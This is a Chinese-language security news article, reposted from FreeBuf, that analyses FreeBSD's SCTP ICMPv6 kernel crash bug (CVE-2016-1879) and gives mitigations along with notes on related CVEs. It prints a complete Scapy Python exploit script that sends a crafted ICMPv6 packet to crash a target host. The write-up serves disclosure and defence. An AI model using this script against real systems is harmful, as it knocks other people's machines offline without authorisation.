安全动态

FreeBSD远程DoS攻击的利用分析(CVE-2016-1879)

来源:聚铭网络    发布时间:2016-02-06    浏览次数:
 

信息来源:FreeBuf  

FreeBSD团队宣布他们的操作系统存在严重的漏洞,黑客可以利用这个漏洞进行DoS(拒绝服务)攻击,提权或窃取系统敏感信息。

SCTP ICMPv6错误处理漏洞 (CVE-2016-1879)

SCTP (流控制传输协议)是一种传输层协议,它可以用来在IP环境中传输信号。通常,移动运营商会在技术网络中使用这个协议。

这个漏洞影响了FreeBSD系统的数个版本(9.3、10.1、10.2),如果它们支持SCTP和IPV6就会中招(这其实是系统默认配置)。黑客利用这个漏洞,需要发送一个精心构造的ICMPv6消息。如果漏洞利用成功,就可以对系统进行DoS攻击。

DoS攻击是由于系统对来自ICMPv6的错误消息,并没有仔细检查其中SCTP包头部的长度。如果目标接收者不存在,路由会生成一个错误信息,通过ICMPv6反馈给发送人。

该ICMPv6包括原始的IPv6包,其中的Next Header区域会显示SCTP是如何封装的:

在系统内核接收了通过ICMPv6发送来的错误消息时,它会将上层协议包传输到必要的解析器sctp6_ctlinput()里。SCTP解析器将传入的头部误认为是合法长度,然后会试图用m_copydata()将它copy,里面存有偏移值和字节数值。本来系统预计消息的头部长度是12个字节,但是黑客可能就给它发送了一个长为11字节的头部,最后空指针的引用就导致了内核崩溃。

漏洞利用代码

利用这个漏洞时,我们并不需要开放的SCTP套接字。神奇的Scapy会帮助我们,创建漏洞利用所需的ICMPv6数据包(这里编辑器代码排版缩进如下,有需求请自行调整):

#!/usr/bin/env python # -*- coding: utf-8 -*-   import argparse from scapy.all import *
 
  def get_args():     parser = argparse.ArgumentParser(description='#' * 78, epilog='#' * 78)
    parser.add_argument("-m""--dst_mac", type=str, help="FreeBSD mac address")
    parser.add_argument("-i""--dst_ipv6", type=str, help="FreeBSD IPv6 address")
    parser.add_argument("-I""--iface", type=str, help="Iface")
    options = parser.parse_args()
 
    if options.dst_mac is None or options.dst_ipv6 is None:
        parser.print_help()
        exit()
 
    return options
 
  if __name__ == '__main__':
    options = get_args()
 
    sendp(Ether(dst=options.dst_mac) / IPv6(dst=options.dst_ipv6) / ICMPv6DestUnreach() / IPv6(nh=132,
                                                                                               src=options.dst_ipv6,
                                                                                               dst='fe80::230:56ff:fea6:648c'),
          iface=options.iface)

下面是攻击演示的视频:

修复和安全建议

为了保护您的系统不受该漏洞的侵害,我们建议您这么做: 

如果不需要IPv6,请将其禁用。
在防火墙禁用ICMPv6或者IPv6流量。
如果用不上的话,请禁用系统内核对SCTP堆栈的支持(需要重新编译内核)。

修复漏洞,您可以使用供应商的补丁,安装对SCTP ICMPv6消息的额外校验,这里也需要重新编译内核。

其他漏洞相关

此外,FreeBSD系统还爆出了其他严重漏洞,官方开发人员为它们发布了补丁。

1.存在这么一个漏洞,如果系统启用了TCP_MD5SIG和TCP_NOOPT,黑客通过TCP连接可以对系统进行DoS攻击。他们只需要某个TCP_NOOPT启用的监听套接字,就能利用这个漏洞(CVE-2016-1882补丁)。

2.Linux下Robust Futex错误,会导致系统内存数据泄露(CVE-2016-1880补丁)。

3.不安全的默认配置,导致了黑客可以访问守护进程配置文件/etc/bsnmpd.conf(CVE-2015-5677补丁)。

为了保护您的系统不受漏洞侵害,强烈建议您在进行安全配置之后再使用IPv6地址,并安装好相应的安全工具来保护系统安全。

*参考来源:PTsec,FB小编dawner编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)


 
 

上一篇:“绿色”并不代表安全,一个隐藏在绿色软件中的木马分析

下一篇:OpenSSL修复加密漏洞、加强Logjam防御